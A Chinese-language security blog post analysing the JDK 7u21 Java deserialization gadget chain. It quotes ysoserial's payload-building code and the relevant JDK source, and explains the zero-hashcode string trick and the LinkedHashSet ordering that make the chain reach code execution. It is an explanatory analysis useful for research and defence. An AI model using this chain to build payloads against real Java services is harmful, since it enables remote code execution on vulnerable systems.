JDK原生反序列化利用链7u21

  • 2021 年 9 月 27 日
  • 筆記

前言

JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单~

7u21 要求你能理解:

  • TemplatesImpl 代码执行原理
  • 动态代理是什么
  • AnnotationInvocationHandler 利用原理

其实7u21是对AnnotationInvocationHandler 的进一步挖掘。

调用链

  • HashSet.readObject()
  • map.put(k,v)。(k为代理对象)
  • k.equals(last_k) (last_k 为上一个put的元素)
  • k.equalImpl(). (触发恶意invoker)
  • 反射执行 last_k.任意方法 (last_k 为恶意TemplatesImpl 即可代码执行)

image-20210927111332379

简单描述就是:

LinkedHashSet 在反序列化初始化时会将对象重新一个一个put进内部数据结构table中,如果put的两个元素的key的hash一样,则要进行进一步的判断,要调用后放入元素的equal方法去对比前面元素的值,而如果这个后面元素的key恰好是一个经过AnnotationInvocationHandler包装的Templates动态代理对象,则在进行put时候会分别调用 AnnotationInvocationHandler 的hashImpl和equlImpl,恰好因为hashImpl 的计算会最终调用到equlImpl,通过equlImpl中的var5.invoke() ,反射执行Templates 的newTransformer方法,进而导致代码执行。

我们来看下yso的代码:

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

最终的目标是要调用EvilTemples的newTransformer方法,在AnnotationInvocationHandler 中有个equalsImpl 方法:

 private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

抛开干扰代码存在一个反射执行的方法:

Method[] var2 = this.getMemberMethods();
 for(int var4 = 0; var4 < var3; ++var4) {
     Method var5 = var2[var4];
     AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
     if (var9 != null)
     {
         ....
     }else{
          var8 = var5.invoke(var1);
     }

其中getMemberMethods 来自type的所有方法:

image-20210926203620761

那意思就是equalsImpl能够触发一个传入对象x的恶意方法,有没有存在一个这样的对象呢,当然是有的,那就是 TemplatesImpl,TemplatesImpl.newTransformer()和getOutputProperties() 都可以触发恶意代码执行,其中asOneOfUs判断是不是动态代理的class,所以只要保证var1 不是动态代理就ok。

所以我们就需要把type设置为TemplatesImpl,var1 也为TemplatesImpl对象即可,var1也即hashset的旧元素,为了能触发恶意invoker,所以hashset的第二个元素要为一个经过AnnotationInvocationHandler包装的对象。

也就是:

image-20210927185043978

步骤很清晰,有了前面几篇文章的基础后没必要再分析TemplatesImpl和AnnotationInvocationHandler利用过程了,重点看下以下几个问题

疑问

image-20210927191515100

  1. 上图为Hashset put的源码,为了要执行euqals,就要保证map的两个key hash一致,且两个key不想等,key分别为templates和proxy,是两个不同的对象,两个hash是如何保持一致的?
  2. hash为0的字符串的作用是啥?
  3. 为什么要用LinkedHashSet,直接用HashSet行不行?

1. 两个不相等的对象如何保证hashset.hash()后结果一致?

在7u21的反序列化执行载体hashset中,添加了两个元素,一前一后分别是templates和proxy,虽然proxy对象是经过AnnotationInvocationHandler包装的Templates 代理对象,但这两个对象是不相等的,为了能执行后续步骤,让流程执行到for循环下的if预计又必须保证两个对象的hashcode一致才能进一步执行到euqals方法。

image-20210927192352475

如果只是普通的两个Temples对象那必然是不相等的,但第二个元素proxy经过AnnotationInvocationHandler包装的Templates对象,当proxy执行hashcode时,会直接执行handler.invoker函数:

image-20210927192702088

同时,判断执行方法为hashcode则会跳转到hashCodeImpl方法:

image-20210927192916023

跳转到hashCodeImpl 时我们发现,关于proxy的hashcode计算已经和proxy本身没有关系了,私有变量memberValues是一个map对象,图片中的1会进行迭代,取出其中元素key和value 分别调用hashcode()进行异或运算然后乘以127 得到最后prxoy的hashcode值。

所以为了让prxoy和templates 的hashcode一致,我们只要 构造一个map,使其满足:

127 * key.hashcode ^ value.hashcode === templates.hashcode

这里顺便解释了:

hash为0的字符串的作用是啥?

那我们可以找到,因为对象的hashcode都是取的内存地址做一定的取整运算得到,所以如果硬凑两个不相等对象做异或会很复杂,结果必然不固定,所以我们直接令 key.hashcode=0 127*key.hashcode 也就为0,让value 直接等于templates 即可让 proxy的hashcode等于templates,而f5a5a608 的hashcode就为0,所以这个map为:

map.put("f5a5a608",templates)

这样就满足了对象不相等,但hashcode却是一样的结果,也就能进行到euqals方法触发temples.newTransformer() 方法。

为什么要用LinkedHashSet,直接用HashSet行不行?

LinkedHashSet内部的数据结构是基于hashmap,所以理论上HashSet、LinkedHashMap、hashmap都可以,但因为类似我上面讲的欢迎,对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。

我自己也做过实验,使用hashmap作为载体会存在偶然无法代码执行的情况,所以为了保证稳定性可以使用带顺序的LinkedHashSet、或者LinkedHashmap,LinkedHashmap value设置为相同的内置基本类型即可。

image-20210927202217545

结语

由名字可知,jdk7u21 只能用于7u21以下的版本,因为在高版本中,在handler euqalmpl 中增加了对 传入对象可执行方法对判断,不能像过去一样执行任意方法:

image-20210927204320413

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!